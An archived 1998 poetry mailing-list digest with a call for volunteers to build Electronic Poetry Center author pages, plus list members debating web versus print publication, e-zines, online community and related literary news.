We are asking people to consider contributing to the EPC author page development initiative. We feel there are certain key authors who should now have a page at the EPC. Since you may also be working on/reading some of these authors, helping to create their page might be a simple matter, and might be a natural tie-in to ongoing research.

What is an author page? Our basic aim is to create a place where links to resources in various web locations by and about the author might be gathered. (Additionally, if the author would agree to notify me of future web publications of their work, that would also be helpful.) In addition, in an EPC author page, we often seek to make available some new-to-the-web textual and/or visual resources, items specific to the EPC. But this is not necessarily required.

The basic requirements of such a page are a photo, a cv/list of publications/ bibliography, brief bio, the above-mentioned textual work, and the author's agreement to use their work. Files can be sent as attachments to e-mail (include a list of file names in e-mail message) or mailed on diskette.

The main purpose here is to develop a center where people might find out more about these authors. Help us with this collective effort to develop this resources.

A list of suggested authors whose pages need to be created or developed follow. Have a look and let us know if you have thoughts.

For further details, please contact: Loss Glazier, [redacted] or Charles Bernstein ([redacted]) regarding this initiative.

Susan Howe
Joan Retallack (under development)
Tina Darragh
Diane Ward
Carla Harryman
Lyn Hejinian
Maggie O'Sullivan
Melanie Neilson
Denise Riley
Rae Armantrout
Catriona Strang
Nicole Brossard
Wendy Mulford
Rosmarie Waldrop
Deanna Ferguson
Hannah Weiner
Geraldine Monk
Karen Mac Cormack
Katheleen Fraser
Lisa Roberston
Marjorie Welish
Barbara Guest
Caroline Bergvall
Fiona Templeton
Fanny Howe
Bernadette Mayer
Leslie Scalapino
Ann Lauterbach
Mei-Mei Berssenbrugge
Stacy Doris
Dodie Bellamy
Lydia Davis
Kathleen Fraser
Rachel Blau DuPlessis

==========
Earlier conversation on this topic:

> *George Hartley wrtts:*
> *Let's spread out the work, not burden any one person*

> *with this, AND get more people published, even if "only"*
> *online. Hell, let's get social! Think of it as a webbing bee.*
>
> *to which Joel Kuszai repliis:*
> *yeeehah! i feel like a real hopeful member of a search party. I'm also on*
> *a utopia/utopias list and now I find myself deleting IT all the time.*
> *Let's get organized. Who wants to help? "What is there to be done?"*
>
> *Alright, then. I'm certainly willing to pitch in.*
> *(it's sort of like a barn-building, no?). do we*
> *have clearance for take-off? are there directions*
> *the EPC author pages are already wanting to*
> *go (e.g., folks that need to be covered asap –*
> *any chance we can see Loss' list?). there are*
> *some serious omissions – it's too much to*
> *expect one or a few folks to build a very large*
> *edifice. I guess we can all see what the template*
> *is for the pages, shall we begin?*
>
> *shhhh – rattletrap. ok, I'm ready.*
>
> *I can do a Spicer page (unless...), a page for*
> *Peter Ganick, and Linda Russo and I can col-*
> *laborate on a page for Kathleen Fraser. I'd be*
> *willing to do others, too.*
>
> *Chris*
>
> *Christopher W. Alexander etc. / nominative press collective*

↑ Index

120. Dale M Smith

Re: (or can you?)

Tue 3 Mar 1998

So true, Spatehead, but are words and tongues and machines in isolation from each other? What guideth that consciousness toward the word, or draws said word into form? Poems exist not in themselves alone, but rely on the mechanisms of their disemination, verily I believe. The scratch of the pen over paper, the tap of the typewriter or the clack of the keyboard don't reverberate, in some way, through the organism of the poet/poem? The field of visions shift from paper to screen, from grass or wood to light and glass. Know ye I am not a Neuroscientologist, but the tools by which words are etched transform, however subtly, a relationship with language. Mind you, good sir, these words I write are not etched in stone. Tombstones are only reserved for that dignity this day and

age. Language appeareth to me to possess a weight and a lightness. Thy medium relayeth the size and scope of vision. Perhapseth my own dissolveth like wind...

To: [redacted]

Head:

A poem is made of w,o,r,d,s, and a person is made of tongues, and a machine makes
more merry the meet market of spit?

Spatehide

Dale M Smith wrote:

> Digitbrain:
>
> I'm not attentive to the kinds of poetry you're speaking of. But I think that
> a poetry of the web will be something different than that of the book, or that
> of the human memory. The medium shapes the poem in fundamental ways. There is
> no such thing as a poem, that I can see, without some sort of medium through
> which it reaches away from one person (or machine) to another. Call me an old
> fuddyduddy, but I'm attached to the textures, smells and visual elegance of
> the page. A letterpressed volume of verse somehow conveys an immediacy
> electronic media will never approach. Maybe we'll have to rethink our
> relationship to the poem, think of it w/a more ephemeral attitude, a passing
> stranger with whom we take a moment's delight. The vacuous pleasure of e-media
> does make me a bit anxious, and my soapbox is a too rickety. Still, the
> Internet has not convinced me of its possibly human potentials. I see it
> primarily as an extension of commercial rackets.
>
> Blockhead.
>
> To: [redacted]
>
> Dale M Smith wrote:
>
> > E-publications suck. But it looks like the future, in many ways, for
> poetry's
> > market. Stillthe web is a medium every poet should hate. It limits the

> value
> > of physical production. It limits the mobility of the product, tying the
> > reader to one location, for me, often at work. It lacks the correlating
> > physical materials that provides support to the word, reminding us of
> poetry's
> > very tactile relation to the world, not to our own inner subjectivity. It
> > promotes every kind of self indulgence becaue it is easier to reproduce
> > inferior work. If you have to set type, line up each page, produce it,
copy
> > it and bind it you're gonna want to present poetry of the highest quality.
> On-
> > line you might be tempted to publish lesser works because there is less
> > time and money invested in it.
>
> Dale, Im charmed by the soapbox yr standing on, & thank gutenberg that
> there will always remain some traditionalists out there. I think your
> position is remarkable in light of what transpires minute by minute on
> the web. What I would like to know, tho, is what your feeling is about
> poetic works that are net dependent (or computer dependent via cdrom),
> works like hypertext, intermedia, soundpoetry, & animated poetries? Do
> these get discounted in this blanket condemnation of electronic poetics?
>
> digitbrain

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121. Judy Roitman

Re: what's new? (was: Re: You Too Can Edit a LitMag (or can you)

Tue 3 Mar 1998

> *Just because*
> *one can't compose hyperlinked lines for the printed page or to be read*
> *aloud does not mean they can't be poetry. The same applies to simultaneous*
> *multi-media composition: written and spoken, written and drawn, spoken*
> *and visual, moving and moving.*
> *tom bell*

What goes around comes around. There was a similar (but much briefer) discussion some time back on necessarily e-work (i.e., work that doesn't translate to the page). One link that can lead you to some of this stuff is Jim Rosenberg's home page, http://www.well.com/user/jer/. Unfortunately he uses a hyperlink system that doesn't translate to html (do any of them? I'm ignorant) but if you can get the right software his stuff is gorgeous. Other folks might want to contribute other links.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

122. Hank Lazer

Re: Nicole Brossard

Tue 3 Mar 1998

Nicole Brossard's name came up in the list of poets for whom there have not yet been a magazine issues or critical studies. Hot off the press from Peter Lang is a book by my friend Alice A. Parker, _Liminal Visions of Nicole Brossard_. It's hard cover -- $53.95 -- so ask a library to buy it? (ISBN 0-8204-3065-X. e-mail: [redacted])

Alice worked with Nicole for several years in preparing this excellent book.

Contents:

Pretext: The Enigma of Writing (Quantum Reading)
In the Beginning is Desire
A Differential Equation of Lesbian Love
Holographic Writing: The Generic Woman
Reading Nicole Brossard Reading Djuna Barnes: Intertextuality and Subjectivity
Open Work: The Mauve Horizon
From Post-Modern to Polytechnique: Figuring the Violence
Rituals of Reading / Rituals of Writing
Body Work: The Speed of Silence
When Language Lapses

I think that Small Press Distribution still has a number of Brossard's works in print.

Hank Lazer

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123. Jack Foley
NEW POETRY in FlashPoint
Tue 3 Mar 1998

NEW POETRY
by
joe BRENNAN, clayton ESHLEMAN, david HICKMAN,
carlo PARCELLI, and mark SCROGGINS in:

FLASHPOINT
(http://webdelsol.com/FLASHPOINT/)
Along the frontier where the arts & politics clash ...

Baraka Brennan Brody Clark Coe Eshleman Gould Haas Hickman Katz Parcelli Scroggins Stuefloten VanderMeer Wallace

↑ Index

124. Christopher W. Alexander
Re: barn burning
Tue 3 Mar 1998

Joel – ieeeeeeeee! what choo want? en anglais.

btw, L.sent a package to you & it got returned,
but it looks like the right address to me (I hope
so); please confirm:

PO Box 527
Buffalo, NY 14226

"mister postman la La la la
mister postman la La la la la"

ind-oo-pidably, Chris
(played by Peter Lorre in the film version)

> *I can do a Spicer page (unless...), a page for*
> *Peter Ganick, and Linda Russo and I can col-*
> *laborate on a page for Kathleen Fraser. I'd be*
>
> *Do Linda*
> *Spicer Dead*
>
> *willing to do others, too.*
>
> *Do others*

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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125. Matthew Kirschenbaum

Re: what's new? (was: Re: You Too Can Edit a LitMag (or can you)

Tue 3 Mar 1998

Tom Bell,

> *While fascination with the new, the latest technology, the glitsy or zingy-zangy, etc. seems overpowering right now, it will fade away quite soon. I think there is quality stuff already if one looks.*

Just my point, Tom.

> *I think Joe was referring to new ways of writing (thinking) that are in fact not possible on the printed page or at a reading. Just because one can't compose hyperlinked lines for the printed page or to be read aloud does not mean they can't be poetry. The same applies to simultaneous multi-media composition: written and spoken, written and drawn, spoken and visual, moving and moving.*

Yes yes yes Tom -- and . . . "there is quality stuff already if one looks."

Lots of it in fact.

About a year ago, Chris Funkhouser said to me that it was possible -- just barely -- for him to comprehensively survey the range of existing electronic poetry in his dissertation. I don't think he (anyone) could do it today.

I'm trying to get (myself) out of the habit of qualifying (all) digital poetics with an anticipatory hypothetical and the c(h)ant of the NEW -- we have (some) digital poetics today, right now, that can already (uh oh) be historicized, institutionalized, materialized. E-ven enjoyed. Matt

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126. Steve Tills

Re: (or can you?)

Tue 3 Mar 1998

I absolutely agree with you that letters pressed into nice paper letterpress is fabulous, that the materiality of language is fabulous, that everything from the page space to the font to the binding or lack thereof is wonderful. Sorry if I ever implied that these things aren't. I wouldn't even think such a thought. And

that last post, it was hasty and just mostly jest--I'm not sure what I meant, except to have fun. Top of the day to ya, Dude, Steve

Dale M Smith wrote:

> *So true, Spatehead, but are words and tongues and machines in isolation from each other? What guideth that consciousness toward the word, or draws said word into form? Poems exist not in themselves alone, but rely on the mechanisms of their disemination, verily I believe. The scratch of the pen over paper, the tap of the typewriter or the clack of the keyboard don't reverberate, in some way, through the organism of the poet/poem? The field of visions shift from paper to screen, from grass or wood to light and glass. Know ye I am not a Neuroscientologist, but the tools by which words are etched transform, however subtly, a relationship with language. Mind you, good sir, these words I write are not etched in stone. Tombstones are only reserved for that dignity this day and age. Language appeareth to me to possess a weight and a lightness. Thy medium relayeth the size and scope of vision. Perhapseth my own dissolveth like wind...*
>
> *To:* [redacted]
>
> *Head:*
>
> *A poem is made of w,o,r,d,s, and a person is made of tongues, and a machine makes more merry the meet market of spit?*
>
> *Spatehide*
>
> *Dale M Smith wrote:*
>
> *Digitbrain:*
>
> *I'm not attentive to the kinds of poetry you're speaking of. But I think that a poetry of the web will be something different than that of the book, or that of the human memory. The medium shapes the poem in fundamental ways. There is no such thing as a poem, that I can see, without some sort of medium through which it reaches away from one person (or machine) to another. Call me an old fuddyduddy, but I'm attached to the textures, smells and visual elegance of the page. A letterpressed volume of verse somehow conveys an immediacy electronic media will never approach. Maybe we'll have to rethink our relationship to the poem, think of it w/a more ephemeral attitude, a passing stranger with whom we take a moment's delight. The vacuous pleasure of e-media does make me a bit anxious, and my soapbox is a too rickety. Still, the*

> *Internet has not convinced me of its possibly human potentials. I see it primarily as an extension of commercial rackets.*
>
> *Blockhead.*
>
> *To:* [redacted]
>
> *Dale M Smith wrote:*
>
> *E-publications suck. But it looks like the future, in many ways, for poetry's market. Stillthe web is a medium every poet should hate. It limits the value of physical production. It limits the mobility of the product, tying the reader to one location, for me, often at work. It lacks the correlating physical materials that provides support to the word, reminding us of poetry's very tactile relation to the world, not to our own inner subjectivity. It promotes every kind of self indulgence becaue it is easier to reproduce inferior work. If you have to set type, line up each page, produce it, copy it and bind it you're gonna want to present poetry of the highest quality. On-line you might be tempted to publish lesser works because there is less time and money invested in it.*
>
> *Dale, Im charmed by the soapbox yr standing on, & thank gutenberg that there will always remain some traditionalists out there. I think your position is remarkable in light of what transpires minute by minute on the web. What I would like to know, tho, is what your feeling is about poetic works that are net dependent (or computer dependent via cdrom), works like hypertext, intermedia, soundpoetry, & animated poetries? Do these get discounted in this blanket condemnation of electronic poetics?*
>
> *digitbrain*

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127. **Bob Grumman**

Re: EPC author pages

Tue 3 Mar 1998

This is a multi-part message in MIME format.

To help out in the effort to further knowledge of poets and poetry, I will gladly accept any bios of poets not right for the EPC author pages. Send them to Comprepoetica! Or directly to me. Make sure to give me a way of contacting bio-subjects, though, to clear the bios with them. I'd love to have bios of EPC

authors, too--extensions of what the EPC author pages have, though, not duplications of it. I'm also collecting poetics terms, with or without definitions, and discussions of schools of poetry, etc.

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------7F1B593A1617--

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128. **k. lederer**

Re: Writing in Public

Tue 3 Mar 1998

Pierre Joris just said:

"A writer's job is to write, whatever means are at their disposal"--

I love poetry and wish more people loved it as much as I do--

But I don't think that a writer's "job" is necessarily to write--

In the past two days the insinuation has been that good writer/writing has something to do with how much writing is produced by said writer--

It seems to me that the notion of writing as work is a pretty historical one--and, according to some (freshest on my mind is Avital Ronell in CRACK WARS) would have come into the mix with the Romantics (I believe, though I haven't looked this up for a while--)

It also seems to me that a lot of people think
that peotry (in the generic sense) should be smeared all over everything--

Why the desire to make poetry ubiquitous (as opposed to available)? Poetry isn't advertising--(the advertising of one's feelings? exhibitionist poetics?)--

Why do some of us keep insisting that the world needs to be reading it all the time? To be having it put in front of its face?

Maybe the "public" has reasons aside from false consciousness etc. for not wanting to read poetry all the time--

So--

Some reactions to "publishing" in public places--

Best,
Katy

↑ Index

129. Christopher W. Alexander
ezines what
Tue 3 Mar 1998

I've been thinking about a new, more interesting way to operate n/formation (my ezine – see .sig below for my URL), so while we're all debating the print versus e-publication teeny zine thing, I just thought I'd put in that one thing a zine can do on the www but not in print is... add to itself. I'm thinking here of p e r f o r a t i o n s specifically, which organizes itself nodally around topics, such that there begins with an initial cluster and +s to it, over time developing something much larger and more dialogical. on the other hand, I might as easily cite other sites more local – non seems to me something like this, as we're given it in development; dunno, tho, if this sort of continued developing is in the plan (hey, Laura?).

anyway, I know whatcha sayin': well, but folks can respond to one another in print journals, it happens all the time be civilized, man. [Poet, be like – totally, dude – get a clew, would you?]. alls I'm saying is that here in atopia or whereever, dis here topia (dys-topia?), we're afforded (ha) an opportunity for a different organ-ization, i.e., a different embodiment of that work, and one which might encourage yammering to the extent that a) everyone's talking in the same room 'bout similar things; b) I promettre that response time wld be optimum – i.e., that I'd get yr responses to the matter at hand up in a jiffy.

I'm wondering, what is it that folks think abt. such a fiendish plan? willing to write for it & not just search yr files for work that sorta fits? willing to send prose? – which, again, is I think the hardest goddamn'd thing to get round here.

now, IDEALLY this involves a print version
of the original cluster with a whole big page abt.
the www version and making responses or
something – but in the real world, I lack the
inner resources to keep making a piece of paper
with words on them in more than a few copies,
at least until I can figger something out. and no,
like everyone else I don't have any funding or
rich Uncle Sugardaddy (mommy?) Sammy.

incidentally, in mentioning this re-organization,
I don't mean to impugn any of the work I have
there – got some damn'd fine pieces by a # of
us present here, and other damn'd fine pieces
by others not present. mmhmmm.

so, next iss. is topical an I'll announce it here,
live, say you saw it here first.

best, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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130. Tom Orange

what's new? (was: Re: You Too Can Edit)

Tue 3 Mar 1998

---

tho i'm mostly with joe amato on this thread, to me the technology is (still) all-too new for one to be able to come down firmly for or against.

while the analogy to print culture is certainly not a seamless one, it's still a useful one. being for or against web/electronic print seems to me akin to being for or against moveable type circa 1505. look how long it took print to impact poetry, and even the continued changes it wrought upon poetry even until recently. take wyatt as someone who, save tottel's miscelleny, was for all intents and purposes a manuscript poet -- same for donne, save his 1633 edition. perhaps not until the mid-19th century do we get print as a serious means of commodifying writing for a mass print readership -- the serialization of dickens'

novels. then along comes the typewriter in, what, the 1930, whence wcw, cummings.

what's new is /not/ michael joyce's afternoon, a text i find entirely uninteresting: once you "get" the trick afforded by the technology, there's little point in going on. nevertheless joyce's text will maintain it's position in the hypertext literature canon (and i don't lament this) mostly by virtue of its timing and its novelty. likewise, bolter's writing space, while a good book and especially a good one for when it came out (1991?), is by now hopelessly out of date. for what's /really/ new, go to the ubuweb, burningpress, and light&dust sites...

tmorange

```
_____________________________________
| To grasp the relation of words to matter, |
| mind, process, may be the greatest task.  |
| -- Clark Coolidge, /The Crystal Text/ --  |
```

~~~
~~~

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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132. Joshua N Schuster
Philly Talks #5 Alcalay/Mandel
Tue 3 Mar 1998

Philly Talks #5 is:

Ammiel Alcalay

&

Tom Mandel

6pm, Thursday, March 5th

The Kelly Writers House
3805 Locust Walk
University of Pennsylvania
215-573-WRIT

There is not yet a publication for this talk. We plan on transcribing the event (including anything you say) and sending it out in a month or so to the mailing list. If you would like to be on this list (i.e. "subscribe"), please contact Louis Cabri at: [redacted] Philly Talks #6 will be an open call for written responses to past talks (more on this later).

-js

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133. Michael J Kelleher
Re: publishing & prestige
Tue 3 Mar 1998

On Tue, 3 Mar 1998, David Israel wrote:

> *question: to what extent is the evident quesiness or diffidence abt. web-publishing (vs. paperbook-publishing) tacitly related to issues of prestige? -- (e.g., higher prestige now associated w/ the latter) d.i.*

Many of the authors I have so far solicited for a l y r i c m a i l e r have asked: does this count as publication? Yes. It should. My answer thus far has been that the existence of the large, interested readership on this list and others and the (yes, problematic) easy, quick-read nature of web-published, text-based poetry

might actually secure a larger audience for the poetry than would a print-magazine, the majority of whose subscribers would probably be university libraries.

Print-culture prestige depends upon the quality of your binding and the corporate or non-profit icon there appearing.

Truly,

Mike

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134. David R. Israel
Walt (in L.A. & beyond)
Tue 3 Mar 1998

Poetas,

of poss. anecdotal interest, today's L.A. Times carries a front-page article on the American poet du jour (thanks to l'affaire d'Lewinsky) --

http://www.latimes.com/HOME/NEWS/FRONT/t000020758.1.html

The online version is divided into 9 screens-ful; am pasting in the intitial 2 below. What follows includes mention of an upcoming opera abt. Whtiman (by Robert Strassburg, set to open this fall at Cal State L.A.), the big Rutgers U. Whitman conference happening this fall, and other things. Luminaries such as Gary Snyder, Ed Folsom and J.D. McClatchy are quoted (or, w/ Robert Hass, paraphrased) in brief; etc. Not a bad report, all in all . . .

cheers, d.i.

> COLUMN ONE
> Whitman Goes Global
> The poet's themes, once thought distinctly American, fire imaginations from here to Nepal. Rumor linking his work to the Clinton-Lewinsky story has scholars, reporters trying to read between the lines.
> By TONY PERRY, Times Staff Writer
>
> These are boom times for Walt Whitman, America's most influential poet.
>
> A century after his death, Whitman, the poet of democracy, the poet of the body and soul, commands a loyal and expansive following from his birthplace on Long Island to the literary circles of Nepal.
>
> His rough, rigorous, unrhymed verse, informal and impassioned, appeals to both

genders, all ages and numerous nationalities.

"Whitman is the poet of liberty, of individual freedom," said Carol Muske-Dukes, a poet and creative writing professor at USC. "As the world heads toward a new millennium, Whitman speaks more loudly and directly to people than ever."

Whitman may even have a fan in the White House. If the daily leakage is to be believed, his masterpiece, "Leaves of Grass," has a cameo in the investigation involving President Clinton and former White House intern Monica Lewinsky.

Whitman's poetic themes--themes that Americans in their ethnocentric way thought were uniquely American--turn out to be so energetically universal that they are increasingly being assimilated into different cultures.

In China, a new Mandarin translation of his entire 400-poem canon has become a bestseller. The Communist government tried to suppress its publication in recent years but abandoned that effort in the face of widespread opposition.

Whitman has long been popular in China--although his works were banned as subversive by Mao Tse-tung during the Cultural Revolution. In an earlier decade, the revolutionary followers of Sun Yat-sen were devoted Whitman readers. ("My call is the call of battle/I nourish active rebellion," Whitman said in "Song of the Open Road.")

In August, Polish National Radio broadcast a marathon Whitman reading. A year earlier, 23 Hungarian translators finished translating 73 Whitman poems. A professor at the University of Wales completed a translation of Whitman into Welsh.

A Brazilian scholar has surveyed Whitman's influence on Brazilian writers, and a scholar at a university in Katmandu, Nepal, just finished "Whitman's System of Dynamic Meditation: A Tantric Guide to His Work."

The domestic and international spread of Whitmania

--the term used by his fans to describe their
devotion--has been spurred by new editions, new
critical studies, new translations, ever larger
symposiums and an increasing number of reading
circles.
One of the most active is at Leisure World
in Laguna Hills. It is run by Robert
Strassburg, an emeritus professor of music at Cal
State L.A. Each month for seven years, 50 or so
fellow retirees gather to parse Whitmanian lines and
debate their meaning.
"By the 21st century, Whitman will be as well-
known around the world as Shakespeare or Beethoven,"
Strassburg predicted after last month's meeting. ...
<etc.>

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135. **William Marsh**
Re: Web Communities
Tue 3 Mar 1998

At 07:47 PM 3/2/98 -0500, Gabriel wrote:
>On Mon, 2 Mar 1998, William Marsh wrote:
>
>> At 03:34 PM 3/2/98 -0500, you wrote:
>> >To be serious, though, for a minute: the idea that epublication can become
>> >a reliable means of awakening or creating a new nontraditional commu-
nity
>> >is a dubious one: all the talk of "meta-zines" or meta-meta zingy-zines or
>> >e-zippy neo-zines or zappy zingzangy zines sort of misses the pt that
>> >Spicer and so many others tried so hard to make: that _spoken_ poetry is
>> >the lifeblood of a community. As I said, a zingy zangy e-word or ink-word
>> >cannot compete with the singy-songy of the spoken word.
>> >
>> >Gabriel Gudding
>>
>> i guess the same can be said about "maga-zines" too / and even more
>> seriously, who's competing? let's not insist on binaries in order to argue
>> against them
>>
>> best,
>> bill

>
>
>bill, The same can in many cases _not_ be said about magazines (way back
>in NE America, prior to the new stamp rate, magazines were an extremely,
>like, local phenomenon: it was the _physical_ presence and nearness (rabid
>love affairs, thudding paperweight battles, and in one case an actual
>leg-biting [no dogs involved: author bit editor]) that made them go):
>physical nearness is sort of important to maga-zines. The curious thing
>about maga-zines is that a _physical_ community creates them. Meta-zines
>just don't have this: they have nothing to do with "community." Community,
>I guess I'm arguing, is a totally physical phenomenon; can't be numinous
>and stuff.
>
>When it comes to maga-zines the community is already extant: the mag comes
>_from it_. Community is a PHYSICAL thing. Now I know that a lot of folks
>have a problem with the idea of Physicality. Physicality is something
>we've wrestled with since, like what?, Plotinus, Augustine? further back
>than that? It became THE bad bugaboo with Plotinus. So much talk about
>the internet and the great "body that is all one" (aum) is just more of
>the same old neo-platonic hopes, but with some new rabidity, zippy irony,
>and really fun binaries. Not arguing gainst binaries at all: they're
>great fun and quite useful dingies. So, I hate to say this but there's
>some historical residue of neo-platonic prudery and christian humanistic
>prudery clinging to the common e-zippy boosterism that flows from certain
>certains. Spicer was right to associate New Critics & denudedness &
>non-person-ness & boredom. NOt saying anything here about whether poetry
>works well on screen or not or if books are better etc etc: saying that we
>ought not place epimethean hopes in a promethean vessel.
>
>Gabriel Gudding
>
Gabriel

provocative response and some truth in the notion that print mags emerged and continue to out of physical communities, tho i'd imagine that several press ventures over the years have involved people working from different physical or geographic sites (different cities, states, countries) and that the contributing and editing 'community' emerged out of the networking of individuals who perhaps never met face-to-face / i know i've heard stories of such ventures and perhaps others here could fill us in / the problem is also how one defines "community", since in addition to "people living in a specific locality" it can also mean a body of people with some practice or profession in common, or a "fellowship of

interests" / and this i guess is where we disagree, since in the latter two senses of the word, electronic zines certainly can emerge out of or establish a community, no quotes / also i should clarify that i suggested the term "metazine" (off the cuff really) as one possible response to another listee's (Tom Becket's i believe) statement or query about potential "collective actions" on the web (not as a synonym for e-zines) / i don't see electronic collectives (ie, separate journals and magazines joining and cross-publishing their efforts through electronic hyperlinks) as a means of replacing or simulating physical communities, but again simply as one of the ways web ventures can be collective and, yes, communal in their actions / the appeal to me would be in the way a venture of this sort would suggest "a fellowship of interests" or commitment to common practice, and how it would localize/concentrate people's activities in the only way possible in electronic space / as for "neo-platonic" and "christian humanistic prudery", i'm afraid i just don't get it -- i see people with common interests getting together to explore possibilities in a fresh medium, as the NE locals did with their first magazines, no?

best,
bill

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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136. Michael J Kelleher

Re: wet kisses and technophilia

Tue 3 Mar 1998

day Thursday

On Tue, 3 Mar 1998, Martin Spinelli wrote:

> *OK--*
> *This is neither u- nor dystopia. It is Atopia. Placelessness. The physical body will not disappear, it will be everywhere at once.*

> *The "U" in utopia is "no" and makes the "A" in atopia a bit redundant.*
> *"Noplace" and "Placeless" are both in the same distopian discourse community, no?*

To belabor:

topos being "place"

u- being "no" thus "no place" i.e. does not exist
but translated Utopia meaning "place of ideal perfection" whereas

dys- being "ill" or "bad" thus
dystopia meaning the opposite of translated utopia, "bad or ill place"
whereas

a- (or an-) being "not", "without", or "lacking" thus
atopia meaning without lacking place but implying the existence of
something though not of the "landed" type, say being

I forward this definition, uncontentiously, as being distinct from utopia as it implies not an ironic criticism of human ideals of perfection nor perfection itself nor perdition, so to speak, but a state of being whose location or place is not verifiable in physical terms. Thus the utterance is not "located" in space but rather in the "moment" of it's articualtion in Time. Placelessness allows for dismbodied, placeless communication across great distance, in time. Place requires physical presence, which isn't always possible. No place requires the impossible, perfection. Bad places we all want to stay out of. Atopia allows us not community, but communication (between beings in distant places in time) that otherwise we could or would not have made.

Atopia is municipal

Truly,

Mike

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137. William Marsh
Re: web publication, etc.
Tue 3 Mar 1998

At 08:24 PM 3/2/98 -0500, jeff wrote:
>i've been following the thread relating to this with interest...
>
>methinks it comes down to this:
>the web is good for wide opportunity and collective action. but the fact is:
>we are living in a world that is quickly alienating itself from itself via
>any source it can. the web is adding to this is two major ways:
> 1) it gives the guise of communication, but with out any

>kind of physical relationship between those
>"communicating" with
> each other. so no true communication can take
place due
> to a lack of viceral stimulation between the people
>communicating (no body lang, eye contact, hearing a
>voice, etc).

jeff

admittedly this is one of the things i find myself missing too, in email communications like these for example, when, among other things, it's hard to posit ideas with a light or humorous touch (although David Bromige does it pretty damn well!) or to convey emotion (:)) without recourse to reductive and often misleading (?) emoticons (;)) etc. / it becomes an issue of rhetoric as with other writing -- i *miss* the same things when i read a letter from a friend or a rejection slip from a journal / so i'm afraid the tired point has to be made that if you subsitute the word "book" or "newspaper" or "personal letter" for "web" in your statement above, the language of your critique sounds suddenly antiquated and reactionary -- if no "true communication" can take place without "viceral stimulation between the people communicating", then this pretty much damns the whole written record, doesn't it?, and not just the web, unless you mean something more specific by "communication" / not to sound flip, but we're communicating here, aren't we?

> *2) with all of the voices crying out, no one is being heard.*
> *it is not hard to see how these points relate to web-publication. esp when you add in the fact that web related things are not "real" in the sense that they are only bytes of information conveyed over energy waves. this does not stand up well to an actual page or a poets voice. and tho the networking possibilities are stagering, the easy out provided by the internet is destroying human social interaction. and with the destruction of social interaction, comes the destruction of art.*

sure, a vast cacophony, but wander around the triple-decker Border's in Chicago and you hear the same voices crying (really, bookstores often fill me with anxiety -- so much to read, etc. -- the web is no different) / and i think it might help to think of the bubble-jet printer as a forerunner to the pixelated screen -- bits and bytes or ink dots, take your pick / one just smears a little easier

i'd like to write more, but i'm off to meet Joel Kuszai who's visiting San Diego and whom i met in this space / we're gonna get together over coffee and talk about how the Internet destroys human social interaction

bill

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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138. William Burmeister Prod
Re: Writing in Public
Tue 3 Mar 1998

On Mar 2, 2:28pm, ScoutEW wrote:
> Subject: Re: Writing in Public
> Ron, whatabout Walt Whitman writing outdoors everywhere, anyplace and
> even in the dark outside on beaches at night?

And Whitman pissing the "Song of Myself" into the snow.

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139. Gabriel Gudding
Re: web publication, etc.
Tue 3 Mar 1998

On Tue, 3 Mar 1998, William Marsh wrote:

> *i'd like to write more, but i'm off to meet Joel Kuszai who's visiting San Diego and whom i met in this space / we're gonna get together over coffee and talk about how the Internet destroys human social interaction*

Bill, will you say hello to Joel for me and order me a short latte, I'll be there in a minute. -Gabe (I'm just out the door now)

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140. CharSSmith
Re: Malmude & Gilfillan
Tue 3 Mar 1998

In a message dated 98-03-03 06:54:39 EST, you write:

<< >Steve Malmude's book got a tremendously respectful (n.b. not fawning!)
>review in Lisa Jarnot's News Letter. John Godfrey said among other things
>that art comes to this poet, not he to it, and that there are certain
>things the poet says which are none of the reader's business!
>
>I'll send out a copy of this letterpress book free to the first person who
>e-mails me with their street address (it'll take me a week or so -- I have
>to go fold them together). The next nine people can have it for $10 ppd. >>

weren't we gonna do a trade?

Charles Smith
2135 Irvin Way
Sacramento, CA 95822

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141. Joe Amato/Kass Fleisher

Re: web publication, etc.

Tue 3 Mar 1998

---

well, so much to say to all who've been posting such insightful stuff...

Q: Is it a sad or happy fact of life that you met your partner (Kass, above) online?
A: Both.

the web is, as martin s. suggests, symptomatic of certain national (and restrictively global) trends---techno-corporate-capitalist, if you like... in this sense it figures a technology that is and is not (tom beckett) a tool, if by tool you mean something like a screwdriver... we are caught if you like at the junction of the corporate (which in the case of the web only seems, as so many have now commented on, to displace the corporeal) and a decentralized, distributed agency... which is to say, that some writers see the web, as many see technology itself, as NOT simply a tool... hence the art|technology divide that still persists in certain circles (until, that is, as is now happening and as joel and others indicate, web publication becomes 'suitable,' 'official' criteria for awards, honors, vitae etc)... or, in order to neutralize, imaginatively, the evident saturation of these spaces with fortune 500 motives, some writers call the web-computer-modem combine simply a tool and proceed thenceforth, agencies intact and unintervened-in...

i posted the codrescu excerpt by virtue of the former attitude---web as instrument of oppression (and note c's refusal to understand npr broadcasting as a digital technology fully in complicity, if that's the word, with his "imaginary electronic globe," lansat hook-ups and all)... by virtue of the tool ideology we might have a look at the discourse coming out of post-mcluhanites (yes, i read

mcluhan too)... an unsettling amalgam of these two perspectives occurs in a tiny book by jacques attali, _millennium: winners and losers in the coming world order_ (random house, 1991)...

i'm asking that we manage not to lose sight of the transnational corporate empire even as we plumb away on our plastic devices (i.e., tools)...

